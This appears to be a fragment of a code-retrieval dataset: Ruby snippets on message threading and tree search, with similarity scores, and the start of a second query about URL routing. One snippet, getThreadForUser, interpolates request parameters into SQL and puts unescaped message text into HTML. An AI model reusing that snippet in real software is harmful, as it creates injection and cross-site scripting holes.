end", "def thread(messages)\n # create id_table\n @id_table = create_id_table(messages)\n\n # create root hierachy siblings out of containers with zero children\n # TODO: would probably be nicer to use a list instead of empty root node\n root = Container.new()\n @id_table.each_pair { |message_id, container| root.add_child(container) if container.parent.nil? }\n \n # discard id_table\n @id_table = nil\n\n # prune dummy containers\n prune_empty_containers(root)\n\n # group again this time use Subject only\n #subject_table = group_root_set_by_subject(root)\n\n root\n end", "def find_message!\n return self if message || organization.nil?\n self.message = organization.messages.find_by_message_id_header(message_id)\n return self\n end", "def build_thread_structure_from safe_msgid, seen={}\n return nil if seen[safe_msgid]\n\n docid = load_int \"docid/#{safe_msgid}\"\n children = load_set \"cmsgids/#{safe_msgid}\"\n #puts \"> children of #{msgid} are #{children.inspect}\"\n\n seen[safe_msgid] = true\n child_thread_structures = children.map { |c| build_thread_structure_from(c, seen) }.compact\n\n #puts \"< bts(#{msgid}): docid=#{docid.inspect}, child_structs=#{child_thread_structures.inspect}\"\n if docid\n if child_thread_structures.empty?\n [docid.to_i]\n else\n [docid.to_i] + child_thread_structures\n end\n else\n case child_thread_structures.size\n when 0; nil\n when 1; child_thread_structures.first\n else # need to make a psuedo root\n psuedo_root = -child_thread_structures.first.first # weird?\n [psuedo_root] + child_thread_structures\n end\n end\n end", "def tree\n return nil if messages.size == 0\n build_tree unless @tree\n @tree\n end", "def load_thread thread_id\n results = perform :thread, :args => [thread_id]\n results.map { |m, depth| [MessageSummary.new(m), depth] }\n end", "def find_forum_topic\n @forum_topic = @node.content\n end", "def likely_thread_creation_from? parent\n return false if n_subject == parent.n_subject # didn't change subject, almost certainly a reply\n\n score = -1 # generally, messages are not lazy replies\n score += 1 if references.empty? or !references.include?(parent.message_id)\n quoted_line_count = body.scan(/^> .+/).count\n score -= quoted_line_count\n score += 1 if quoted_line_count == 0\n\n def top_long_words str, amount=10\n counts = Hash.new { 0 }\n str.downcase.split(/\\s+/).each { |word| counts[word] += 1 if word.length > 5 }\n counts.sort_by { |word, count| count }.reverse[0..amount].map { |i| i[0] }\n end\n\n # lots of points for matching words in subject and to/from\n similar = 0\n similar += (top_long_words(subject.to_s) & top_long_words(parent.subject.to_s)).count * 2\n similar += (top_long_words(header['To']) & top_long_words(header['From'])).count * 2\n similar += (top_long_words(body) & top_long_words(parent.body, 20)).count\n\n score -= 1 if similar > 6\n score -= 1 if similar > 10\n\n return score > 0\n end", "def self_or_first_descendant\n block = self\n while block.descendant; block = block.descendant; end\n block\n end", "def guess_first_message(skip_messages: 5) # Can skip the last n messages\n return true if @requested_thread_ts # Always start thread on first message\n return false if @messages.blank? || @messages.size < skip_messages\n\n possible_first_messages = @messages[0..-skip_messages]\n\n # Work through the messages in order. If a gap is found, this could be the first message\n new_first_message_index = nil\n previous_message_ts = @messages[-skip_messages].ts.split(\".\").first.to_i\n possible_first_messages.each_with_index do |message, index|\n # Calculate the time since the last message\n this_ts = message.ts.split(\".\").first.to_i\n time_since_previous_message = this_ts - previous_message_ts\n\n # If greater than 3 minutes, this could be the first message\n new_first_message_index = index if time_since_previous_message > 3.minutes\n\n previous_message_ts = this_ts\n end\n\n if new_first_message_index\n @first_message_index = new_first_message_index\n true\n else\n false\n end\n end", "def set_message_thread\n @message_thread = @current_shop.message_threads.find(params[:id])\n end", "def find_beeper()\n while not next_to_a_beeper?()\n move_toward_beeper()\n end\n end", "def parent\n return @parent unless @parent.nil?\n return Message.find(parent_id) unless parent_id.nil?\n end", "def breadth_first_search(data)\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n return node_match\n end", "def group_root_set_by_subject(root)\n subject_table = {}\n \n # 5B\n # Populate the subject table with one message per each\n # base subject. For each child of the root:\n root.children.each do |container|\n\n # Find the subject of this thread, by using the base\n # subject from either the current message or its first\n # child if the current message is a dummy. This is the\n # thread subject.\n c = nil\n if container.message == nil\n c = container.children[0]\n else\n c = container\n end\n \n message = c.message\n if message.nil?\n next\n end\n \n subject = MessageParser.normalize_subject(message.subject)\n\n # If the thread subject is empty, skip this message\n if subject.length == 0 \n next\n end\n\n existing = subject_table[subject]\n \n # If there is no message in the subject table with the\n # thread subject, add the current message and the thread\n # subject to the subject table.\n if existing == nil\n subject_table[subject] = c\n \n # Otherwise, if the message in the subject table is not a\n # dummy, AND either of the following criteria are true:\n # - The current message is a dummy, OR\n # - The message in the subject table is a reply or forward\n # and the current message is not. \n elsif ( ( not existing.dummy?) && ( c.dummy? || ( \n ( MessageParser.is_reply_or_forward existing.message.subject ) && \n ( not MessageParser.is_reply_or_forward message.subject ))))\n subject_table[subject] = c\n end\n \n end\n \n # 5C\n # using reverse_each here because removing children from root\n # would lead to skipping of root's children\n root.children.reverse_each do |container|\n subject = nil\n \n # Find the subject of this thread, by using the base\n # subject from either the current message or its first\n # child if the current message is a dummy. This is the\n # thread subject.\n if container.message == nil\n subject = container.children[0].message.subject\n else\n subject = container.message.subject\n end\n \n subject = MessageParser.normalize_subject(subject)\n \n c = subject_table[subject]\n \n # If the message in the subject table is the current\n # message, skip this message.\n if c == nil || c == container\n # puts \">>>> skip\"\n next\n end\n \n \n \n # If both messages are dummies, append the current\n # message's children to the children of the message in\n # the subject table (the children of both messages\n # become siblings), and then delete the current message \n if c.dummy?() && container.dummy?()\n container.children.each {|ctr| c.add_child(ctr) }\n container.parent.remove_child(container)\n # If the message in the subject table is a dummy and the\n # current message is not, make the current message a\n # child of the message in the subject table (a sibling\n # of its children). \n elsif c.dummy?() && ( not container.dummy?() )\n c.add_child(container)\n # If the current message is a reply or forward and the\n # message in the subject table is not, make the current\n # message a child of the message in the subject table (a\n # sibling of its children). \n elsif not MessageParser.is_reply_or_forward(c.message.subject) && \n MessageParser.is_reply_or_forward(container.message.subject)\n c.add_child(container) \n # Otherwise, create a new dummy message and make both\n # the current message and the message in the subject\n # table children of the dummy. Then replace the message\n # in the subject table with the dummy message.\n else\n new_container = Container.new\n new_container.add_child(c)\n new_container.add_child(container)\n subject_table[subject] = new_container\n end \n end\n\n subject_table\n end", "def thread\n @primary_server ? @primary_server.thread : nil\n end", "def build_thread\n @private_messages = PrivateMessage.find_conversation(current_user,params[:id])\n end", "def breadth_first(node, target)\n # Setup\n queue = Queue.new\n queue.enqueue(node)\n # While queue exists\n while queue.elements?\n # Pop bottom off\n current_node = queue.dequeue\n # Check if it is target or nil\n return 'Could not locate your payload :(' if current_node.nil?\n return 'Found your target' if current_node.payload == target\n # Otherwise add its children to\n # back of line for checking\n add_kids_to_queue(current_node, queue)\n end\nend", "def breadth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n queue = []\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n connections.each do |i|\n if i.value == find\n answer = i\n condition = true\n elsif !visited.include?(i)\n visited.push(i)\n queue.push(i)\n end\n end\n end\n current = queue.shift\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def find_finished_thread(nonblock)\n if nonblock\n @threads.keys.find do |thread|\n !thread.alive?\n end\n else\n Util.wait_for_thread(*@threads.keys)\n end\n end", "def find_poll\n @poll = @parent_node.content\n end", "def find(root, data)\n if @root != nil\n queue = Queue.new\n queue.enq(@root)\n result = nil\n while !queue.empty?\n node = queue.deq\n return node if node.title == data\n queue.enq(node.left) if node.left\n queue.enq(node.right) if node.right\n end\n end\n\n end", "def find_meeting\n @meeting = @parent_node.content\n end", "def thread\n @thread ||= super\n return @thread unless @thread.nil?\n\n @thread = build_thread\n @thread.save if persisted?\n @thread\n end", "def find(name)\n request = Message::Find.new(Thread.mailbox, name)\n methods = send_request request\n return nil if methods.is_a? NilClass\n rsocket # open relay pipe to avoid race conditions\n actor = DCell::ActorProxy.create.new self, name, methods\n add_actor actor\n end", "def first_message_number\n @first_message_index < 0 ? @messages.length + @first_message_index : @first_message_index\n end", "def find_messages_in_thread(other_item)\n if self.forsale\n return Message.where('seller_item_id == ? AND buyer_item_id == ?', self.id, other_item.id)\n elsif self.wanted\n return Message.where('buyer_item_id == ? AND seller_item_id == ?', self.id, other_item.id)\n else\n return nil\n end\n end", "def findme(subtree)\n if subtree.class == Hash\n if subtree.keys.first.to_s == @name\n @subtree = subtree\n else\n subtree.values.first.each do |subelement|\n findme(subelement)\n end\n end\n end\n end", "def find_messages_in_thread(other_item)\n\t\tif self.forsale\n\t\t\treturn Message.where('seller_item_id == ? AND buyer_item_id == ?', self.id, other_item.id) \n\t\telsif self.wanted \n\t\t\treturn Message.where('buyer_item_id == ? AND seller_item_id == ?', self.id, other_item.id) \n else \n\t \t\treturn nil \t\n\t end \n\tend", "def root_level\n self.find\n end", "def last_message\n @last_message = self.messages.find(:first, :order => 'created_at DESC') if @last_message.nil?\n return @last_message\n end", "def find_recur_target\n loop_label ? self : @parent.find_recur_target\n end", "def last\n current_thread = @sorted.last\n return nil unless current_thread\n\n current_thread = current_thread.second.last until current_thread.second.empty?\n current_thread.first\n end", "def breadth_first_search node= self.root, value\n\t\tqueue = [node]\n\t\twhile queue.length > 0\n\t\t\tcurrent = queue.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tqueue.unshift(current.left) if current.left\n\t\t\tqueue.unshift(current.right) if current.right\n\t\tend\n\tend", "def message\n @messages.first\n end", "def set_message\n @message = @app_thread.messages.find(params[:id])\n end", "def wait_for_message\r\n Fiber.yield while $game_message.busy?\r\n end", "def find(root, data)\n if data == nil || root == nil\n return nil\n end\n\n branch = root\n\n if branch.title == data\n return branch\n else\n root = find_next_leaf(root, branch)\n self.find(root, data)\n end\n\n end", "def try_find_factor\n return @trivial_factor if defined?(@trivial_factor)\n\n catch(:factor_found) do\n while true\n p :foo\n select_q\n solve_roots\n sieve\n @ws.each_with_index do |w, i|\n check_relation(i - @m) if w > @test_value\n end\n end\n end\n end", "def getThreadForUser\n allMessages = Message.where(\"receiver_id = '#{params[:user_id]}' OR \n receiver_id = '#{current_user.id}' AND\n sender_id = '#{current_user.id}' OR\n sender_id = '#{params[:user_id]}'\"\n ).order(\"created_at asc\")\n sender = User.find(params[:user_id])\n sender_name = sender.first_name + \" \" + sender.last_name\n initialHTML = \"<div class=\\\"message-thread\\\" id = \\\"thread#{params['user_id']}\\\" style=\\\"display: none\\\">\"\n middleHTML = \"\"\n allMessages.each do |message|\n if (message.sender_id == current_user.id.to_s)\n bubble = \"left\"\n user_name = current_user.first_name + \" \" + current_user.last_name\n else\n bubble = \"right\"\n user_name = sender_name\n end\n middleHTML = middleHTML + \"<div class=\\\"message bubble-#{bubble}\\\"> <label class=\\\"message-user\\\">#{user_name}</label> <label class=\\\"message-timestamp\\\">#{time_ago_in_words(message.created_at)} ago</label> <p>#{message.message}</p></div>\"\n end\n endingHTML = \"</div> </div>\"\n respond_to do |format|\n format.json { render :json=> { :chatHistory => initialHTML + middleHTML + endingHTML}}\n end\n end", "def breadth_first_search(target)\n\t\tsearch_queue = []\n\t\tinitial_node = @root\n\t\tsearch_queue << initial_node\n\n\t\treturn nil if @root.nil?\n\n\t\tuntil search_queue.empty?\n\t\t\ttest_node = search_queue.shift\n\n\t\t\tif test_node.value == target\n\t\t\t\treturn test_node\n\t\t\telse\n\t\t\t\tsearch_queue << test_node.left_child unless test_node.left_child.nil?\n\t\t\t\tsearch_queue << test_node.right_child unless test_node.right_child.nil?\n\t\t\tend\n\t\tend\n\t\tnil\n\tend", "def depth_first(value_to_find)\r\n @children.each do |child|\r\n found_node = child.depth_first(value_to_find)\r\n if found_node != nil\r\n return found_node\r\n end\r\n end\r\n\r\n if payload == value_to_find\r\n return self\r\n else\r\n return nil\r\n end\r\n end", "def root\n cursor = self\n cursor = cursor.up until cursor.root?\n cursor\n end", "def root_comments\n self.comment_threads.where(:parent_id => nil)\n end", "def last_message\n @last_message ||= messages.order(:created_at => :desc, :id => :desc).first\n end", "def find_recur_target\n loop_label ? self : @parent.find_recur_target\n end", "def find_leaf\n if first_question.descendants.length > 0\n leaves = first_question.descendants.select {|q| q.leaf?}\n\n raise StandardError, \"Multiple leaves found!\" if leaves.length > 1\n raise StandardError, \"No leaf found!\" if leaves.length == 0\n\n leaves.first\n else\n # Only one question!\n first_question\n end\n\n end", "def depth_first_search(query)\n stack = [@tree]\n\n loop do\n# exit when empty stack\n return nil if stack.empty?\n\n# node is equal to top of stack\n node = stack.pop\n \n# return node if match\n return node if query == node.value\n\n# i think it is pushing every descendant of the parent?\n stack.push node.left_child if node.left_child != nil\n stack.push node.right_child if node.right_child != nil\n end\n end", "def breadth_first_search target_value, root=@root\n return nil if empty?\n\n queue = [root]\n\n until queue.empty?\n current = queue.shift\n\n # Return value if found\n return current if current.value == target_value\n\n # Add children to the queue, if they exist\n queue << current.left unless current.left.nil?\n queue << current.right unless current.right.nil?\n end\n\n # returns nil if value not found\n nil\n end", "def breadth_first_search(tree, value)\n tgt_node = nil\n \n queue = Array(tree)\n \n while !queue.empty?\n cur_node = queue.shift \n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.each { |child| queue << child unless child.nil? }\n end\n \n tgt_node\nend", "def peek\n return nil if empty?\n _decode_message(self.first)\n end", "def root\n node = self\n node = node.parent while !node.parent.nil?\n node\n end", "def root_comments\n comment_threads.where(parent_id: nil)\n end", "def breadth_first_search(node, search_val = nil)\n return unless node\n visit_queue = [node]\n\n while (!visit_queue.empty?)\n node = visit_queue.shift\n node.visit\n return node if node.value == search_val\n node.connections.each do |conn|\n next if conn.marked\n conn.marked = true\n visit_queue.push(conn)\n end\n end\nend", "def update_thread\n self.update_attribute(:thread, self.id) unless self.thread\n end", "def find_root_document\n cursor = self\n while cursor.parent_document\n cursor = cursor.parent_document\n end\n cursor\n end", "def getThreadId(currentComment)\n current_new_id = currentComment.new_id\n while current_new_id.nil?\n currentComment = Comment.find(currentComment.comment_id)\n current_new_id = currentComment.new_id\n end \n return current_new_id\n end", "def root\r\n\t\t\t\tself.find(:first, :conditions => 'parent_id IS NULL')\r\n\t\t\tend", "def init_messaging\n @read_thread = Thread.new { read_loop }\n end", "def top_level\n return @top_level if defined? @top_level\n @top_level = self\n @top_level = @top_level.parent until RDoc::TopLevel === @top_level\n @top_level\n end", "def top_level\n return @top_level if defined? @top_level\n @top_level = self\n @top_level = @top_level.parent until RDoc::TopLevel === @top_level\n @top_level\n end", "def breadth_first_search(target)\n queue = Array.new\n queue.unshift(@root)\n\n while !queue.empty?\n\n element = queue.shift\n\n return element if element.value == target\n\n queue << element.leftchild if !element.leftchild.nil?\n queue << element.rightchild if !element.rightchild.nil?\n\n end\n\n return nil\n\n end", "def running?; !!@thread end", "def bread_first_search(first)\n puts sprintf(\"%-25s %s\", \"Queue: [ bottom - top ]\", \"Visited list\")\n enqueue(first)\n insert_visited(first)\n print\n\n while !queue.empty?\n element = dequeue # => |V|\n @source.fetch(element).each do |s| \n unless @visited.include?(s) # => |E|\n enqueue(s)\n @T.push([element,s]) \n insert_visited(s) \n end\n end\n print\n end\n # spanning tree\n p @T\n end", "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "def index\n @page_title = \"Messages\"\n @message_threads = MessageThread.related_to(current_user)\n @message_thread = @message_threads.first\n if @message_thread\n @message_thread.mark_read!(current_user)\n end\n end", "def thread_menu (thread_id)\n\n prompt.select (\"What would you like to do?\") do |menu|\n #Ensure guests cannot reply to threads\n if user_id\n menu.choice \"Reply to thread\", -> {\n prompt.select(\"How would you like to reply?\") do |menu|\n menu.choice \"Random cat fact!\", -> {\n User.find(user_id).create_reply(thread_id, APICalls.catfact)\n }\n menu.choice \"Random advice!\", -> {\n User.find(user_id).create_reply(thread_id, APICalls.advice)\n }\n menu.choice \"Write a reply\", -> {\n body = prompt.ask (\"Enter your reply\\n\")\n User.find(user_id).create_reply(thread_id,body)\n }\n end\n ForumThread.find(thread_id).print_forum_thread\n thread_menu(thread_id)\n }\n end\n\n #Ensure there is a previous thread to go to\n if thread_id > 1\n menu.choice \"Previous Thread\", -> {\n ForumThread.find(thread_id-1).print_forum_thread\n thread_menu(thread_id-1)\n }\n end\n\n #Ensure there is a next thread to go to\n if thread_id < ForumThread.last.id\n menu.choice \"Next Thread\", -> {\n ForumThread.find(thread_id+1).print_forum_thread\n thread_menu(thread_id+1)\n }\n end\n\n menu.choice \"Go back to threads\", -> {show_threads}\n end\n\n end", "def find(root, data)\n return unless root && data \n if root.title != data\n target ||= self.find(root.right, data)\n return target if target\n target ||= self.find(root.left, data)\n else\n return root\n end\n end", "def pbt_top_parent\n record = self\n return nil unless record.pbt_parent\n no_repeat = PolyBelongsTo::SingletonSet.new\n while !no_repeat.include?(record.pbt_parent) && !record.pbt_parent.nil?\n no_repeat.add?(record)\n record = record.pbt_parent\n end\n record\n end", "def current_step\n fail 'Conversation without messages' if conversation.messages.count == 0\n\n # If the all messages in a conversation doesn't have a step,\n # it's the first interaction\n conversation.messages.where.not(step: nil).order(step: :desc).try(:first).try(:step)\n end", "def find_min_element_iterative(root)\n return nil if !root\n while root.left_child\n root = root.left_child\n end\n root\nend", "def first_unread_message\n gmail.inbox.find(:unread).find do |email|\n email.to[0].mailbox.include? 'performance_group'\n end\n end", "def get_user_thread(user_id)\n user_threads_lock.synchronize do\n user_threads[user_id]\n end\n end", "def poll!\n find_and_process_next_available(messages)\n end", "def findContact(query)\n curNode = @head\n while curNode != nil\n if curNode.data.name == query\n return curNode\n elsif curNode.next == nil\n return -1\n else\n curNode = curNode.next\n end\n end\n end", "def find(obj)\n return nil if empty?\n\n root = @root\n while root\n return root if obj == root.obj\n\n if obj < root.obj\n root = root.left\n else\n root = root.right\n end\n end\n end", "def breadth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue << current_node.left_child if not current_node.left_child.nil?\r\n queue << current_node.right_child if not current_node.right_child.nil?\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def chat_retrieve(unique_tags)\n Thread.new {\n tagHash = []\n tempResults = {}\n list = {}\n y = unique_tags.length - 1\n for i in 0..y\n Thread.new(i) { |i2|\n tagHash[i2] = Hash_Func(unique_tags[i2])\n while @chat_retrieveAckWait != nil && (@chat_retrieveAckWait[tagHash[i2]] == 1 || @chat_retrieveAckWait[tagHash[i2]].kind_of?(Array))\n end\n @chat_retrieveAckWait[tagHash[i2]] = 1\n chat_retrieveMsg = {:type => \"CHAT_RETRIEVE\", :tag => unique_tags[i2], :node_id => tagHash[i2], :sender_id => @guid}.to_json\n nh, m, n = nextHop(tagHash[i2])\n @socket.send chat_retrieveMsg, 0, nh.ip, nh.port\n t = Time.now.sec\n t2 = t + 90\n while t < t2 # Waits 30 seconds before checking route\n if @chat_retrieveAckWait[tagHash[i2]].kind_of?(Array)\n tempResults[tagHash[i2]] = @chat_retrieveAckWait[tagHash[i2]]\n break\n end\n t = Time.now.sec\n if t < t2 - 30\n t = t + 60\n end\n end\n if @chat_retrieveAckWait[tagHash[i2]].kind_of?(Array)\n puts \"Get correct chat result\"\n else\n puts \"The chat_retrieve failed to check the route within set time\"\n\n routeChecker(tagHash[i2])\n end\n @chat_retrieveAckWait[tagHash[i2]] = 0\n }\n end\n t3 = Time.now.sec # returns results after 3 seconds\n t4 = t3 + 3\n while t3 < t4\n t3 = Time.now.sec\n if t3 < t4 - 3\n t3 = t3 + 60\n end\n end\n\n list = tempResults[tagHash[0]]\n removeList = []\n for j in 1..tagHash.length-1\n nList = tempResults[tagHash[j]]\n list.each { |h|\n removeFlag = true\n nList.any? { |nH|\n if nH[:text] == h[:text]\n removeFlag = false\n\n end\n }\n if removeFlag\n removeList << h\n end\n }\n for k in removeList\n list.delete(k)\n end\n end\n r = ChatResult.new() # Holds results\n r.tags = unique_tags\n r.resutls = list\n return r\n }\n end", "def root\n object = self\n while (object.parent) do object = object.parent; end\n object || self\n end", "def find_root(node)\n root = node\n\n while(node.parent)\n root = node.parent\n end\n\n root\nend", "def deep_find\n ([self] + all_subtrees.to_a).each do |node|\n return node if yield(node)\n end\n nil\n end", "def thread_starter\n\n title = prompt.ask(\"What is your thread title?\\n\")\n while title == \"\"\n puts \"No title entered.\\n\"\n title = prompt.ask(\"What is your thread title?\\n\")\n end\n\n body = prompt.ask(\"Enter your thread content here.\\n\")\n\n new_thread = ForumThread.create(title: title, body: body, user_id: user_id)\n new_thread.print_forum_thread\n thread_menu(new_thread.id)\n end", "def update_thread\n # Kill thread if it exists\n thread && @thread.kill\n @thread = Thread.new do\n loop do\n message = recv\n @state[message.command] = message.value\n yield(message) if block_given?\n end\n end\n end", "def start\r\n\t\t\tswdebug 'Started new thread for message processing.'\r\n\t\t\t# Start a new child Thread\r\n\t\t\t@thread = Thread.new {\r\n\t\t\t\tloop do\r\n\t\t\t\t\titems = process\r\n\t\t\t\t\tif items == 0\r\n\t\t\t\t\t\tsleep(0.1)\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tswdebug \"Processing #{items} items\"\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t}\t\t\t\t\r\n\t\tend", "def last_message_id(person_full_name)\n last_left = Message.first(\n :conditions => {:person => person_full_name, :message_type => ['Leave','Kick']},\n :order => [:timestamp.desc])\n \n if last_left \n # if person timed out, look for their last entry before the timeout\n if last_left.message_type == 'Kick'\n last_left = Message.first(\n :conditions => {:person => person_full_name, :timestamp.lt => last_left.timestamp},\n :order => [:timestamp.desc])\n end\n\n if last_left && (Time.now.to_i - last_left.timestamp > 120)\n return last_left.message_id\n end\n end\n end", "def dequeue\n loop do\n return nil if @stop\n message = receive_message\n if message\n if message.valid?\n return message\n else\n delete_message(message)\n end\n end\n end\n end", "def depth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n stack = [tree[0]]\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n puts current.value\n puts connections.count\n puts \"---\"\n \n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n if connections.count < 1\n stack.pop\n current = stack[-1]\n elsif connections.count == 1\n if visited.include?(connections[0])\n stack.pop\n current = stack[-1]\n else\n current = connections[0]\n stack.push(current)\n visited.push(current)\n end\n else\n if visited.include?(connections[0]) && visited.include?(connections[1])\n stack.pop\n current = stack[-1]\n elsif !visited.include?(connections[0])\n current = connections[0]\n stack.push(current)\n visited.push(current)\n else\n current = connections[1]\n stack.push(current)\n visited.push(current)\n end\n end\n end\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def find(key)\n current_node = @root \n return find_helper(current_node, key)\n end", "def get_last_message\r\n @messages.fetch(self.count_messages - 1)\r\n end", "def wait_until(msg = nil)\n if block_given?\n msg_thread, work_thread = nil, nil\n \n # prints incremental '...' message while waiting for the given block to finish successfully\n if msg\n print \"#{msg.to_s}...\"\n msg_thread = Thread.new do\n loop do\n print \".\"\n $stdout.flush\n sleep 1\n end\n end\n end\n \n # repeatedly yields to the given block until it returns true\n work_thread = Thread.new do\n result = false\n until result\n result = yield\n sleep 1\n end\n end\n \n work_thread.join if work_thread\n msg_thread.kill if msg_thread\n \n print \"\\n\" if msg\n end\n end", "def root\n nested_set_class.find_with_nested_set_scope(:first, :conditions => \"(#{nested_set_parent} IS NULL)\")\n end", "def root\n node = self\n node = node.parent while node.parent\n node\n end", "def conversation_thread_id\n return @conversation_thread_id\n end", "def find_message(recipient, subject)\n messages = filter_by_subject(recipient[/[^@]+/], subject)\n latest_message(messages)\n end", "def ensure_parent_message\n self.parent_message = self if self.parent_message.nil?\n end", "def run_thread\n receive do |message|\n process message\n end\n rescue => error\n error(error)\n\n retry\n end", "def find_first_parent model = controller_model\n defined?(@first_parent) ? @first_parent : @first_parent = begin\n if parents = PARENTS[type_of(model)]\n parents.any? do |parent|\n id = params[:\"#{parent.name.underscore}_id\"]\n if id && parent.reflect_on_association(type_of(model))\n return parent.find(id)\n end\n end\n end\n end\n end", "def root\n root = self\n until (parent = root.parent).nil?\n root = parent\n end\n root\n end" ]
[ "0.60951144", "0.55454403", "0.5539695", "0.550906", "0.5194823", "0.51868796", "0.5144992", "0.5100949", "0.5041336", "0.5040675", "0.50257164", "0.49790543", "0.49556273", "0.49367854", "0.4933495", "0.49186236", "0.49003804", "0.4870091", "0.48393965", "0.48376042", "0.48366135", "0.4830947", "0.4808736", "0.47469845", "0.4746912", "0.47364816", "0.4727038", "0.46845305", "0.46677083", "0.46643662", "0.46531555", "0.46429518", "0.46423513", "0.46170267", "0.46104148", "0.46003336", "0.4589688", "0.45840314", "0.45816046", "0.45797223", "0.45750394", "0.45661587", "0.45589852", "0.45583618", "0.4555049", "0.45389172", "0.4537859", "0.45372888", "0.45352772", "0.4519138", "0.4515013", "0.4513893", "0.4508872", "0.4505358", "0.44977745", "0.44949582", "0.44929388", "0.4480034", "0.44765496", "0.44754535", "0.4465161", "0.446285", "0.446285", "0.4461698", "0.4460474", "0.44578874", "0.4456031", "0.44451296", "0.44440106", "0.4439469", "0.44377297", "0.44355652", "0.44349208", "0.44326562", "0.44187695", "0.44166797", "0.44128785", "0.44107983", "0.44064802", "0.4405515", "0.44047302", "0.43986607", "0.43922693", "0.4391354", "0.43871972", "0.43867415", "0.43700063", "0.4368341", "0.43678766", "0.43541718", "0.4353953", "0.43522158", "0.43484858", "0.43457824", "0.4341435", "0.43412772", "0.43396813", "0.4339554", "0.43381837", "0.43380666" ]
0.7571323
0
route request based on path and query from the window location (URL)
def route(path, query) if path == 'search' item = {view: Search, query: query} elsif path == 'comments' item = {view: Comments} elsif path and path != '.' item = Agenda.find(path) else item = Agenda end # provide defaults for required properties item.color ||= 'blank' item.title ||= item.view.displayName # determine what buttons are required, merging defaults, form provided # overrides, and any overrides provided by the agenda item itself buttons = item.buttons if buttons @buttons = buttons.map do |button| props = {text: 'button', attrs: {className: 'btn'}} # form overrides form = button.form if form and form.button for name in form.button if name == 'text' props.text = form.button.text elsif name == 'class' or name == 'classname' props.attrs.className += " #{form.button[name].gsub('_', '-')}" else props.attrs[name.gsub('_', '-')] = form.button[name] end end end # item overrides for name in button if name == 'text' props.text = button.text elsif name == 'class' or name == 'classname' props.attrs.className += " #{button[name].gsub('_', '-')}" elsif name != 'form' props.attrs[name.gsub('_', '-')] = button[name] end end return props end else @buttons = [] end @item = Main.item = item end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def route() request.route end", "def navigated\n url = get_location\n @params = []\n\n idx = match(path_to_parts(decode(url.pathname)), decode(url.search))\n\n if idx\n @routes[idx][:callback].call(@params)\n else\n @page404.call(url.pathname)\n end\n end", "def request_path; end", "def get_route( request )\n return nil unless defined?( RAILS_ENV ) \n ::ActionController::Routing::Routes.recognize_path( request.path, {:method => request.request_method.downcase.to_sym } )\n end", "def handle(request, env)\n params = @params.dup\n path_info, script_name = env[\"PATH_INFO\"], env[\"SCRIPT_NAME\"]\n \n return unless request_conditions.all? do |method_name, condition|\n # TODO: Refactor this... it lacks awesome\n next true unless request.respond_to?(method_name)\n matched, captures = condition.match(request)\n if matched\n params.merge!(captures)\n if method_name == :path_info\n new_path_info = @path_info.dup if @path_info\n new_path_info ||= env[\"PATH_INFO\"].sub(/^#{Regexp.escape(matched)}/, '')\n new_path_info.gsub!(SEGMENT_REGEXP) { |s| params[$2.to_sym] }\n env[\"SCRIPT_NAME\"] = Utils.normalize(request.env[\"SCRIPT_NAME\"] + matched)\n env[\"PATH_INFO\"] = Utils.normalize(new_path_info)\n end\n true\n end\n end\n \n env[\"rack_router.route\"] = self\n env[\"rack_router.params\"].merge! params\n \n @app.call(env)\n ensure\n env[\"PATH_INFO\"], env[\"SCRIPT_NAME\"] = path_info, script_name\n end", "def request_to(path, method = :get, env = {})\n env[:request_method] ||= method.to_s.upcase\n env[:request_uri] = path\n \n check_request_for_route(build_request({}, env))\n end", "def request_to(path, method = :get, env = {})\n env[:request_method] ||= method.to_s.upcase\n env[:request_uri] = path\n \n check_request_for_route(fake_request(env))\n end", "def route_request\n env.logger.debug \"#{self.class} ROUTING - #{env[Goliath::Request::PATH_INFO]}\"\n if has_path = ( env[Goliath::Request::PATH_INFO] =~ /^\\/(\\w+)(\\/\\w+)*/ )\n env.logger.debug \"#{self.class} route_request:\\t pathinfo = #{$1} extended = #{$2}\"\n path_info = $1\n extended_path_info = $2\n has_path = true #it will be a number or nil - let's just make it a bool\n elsif params[:id]\n has_path = true\n end\n \n method = env[Goliath::Request::REQUEST_METHOD]\n action = case method\n when 'GET'\n has_path ? 'show' : 'index'\n when 'POST'\n has_path ? ( raise BadRequestError, \"can't post to this resource\" ) : 'create'\n when 'PUT'\n !has_path ? ( raise BadRequestError, \"no resource to PUT to\" ) : 'update'\n when 'DELETE'\n !has_path ? ( raise BadRequestError, \"no resource to DELETE\" ) : 'delete'\n else\n raise MethodNotAllowedError, \"unknown request method\"\n end\n env.logger.info \"#{self.class} route_request:\\t attempting to call #{action} action\"\n if 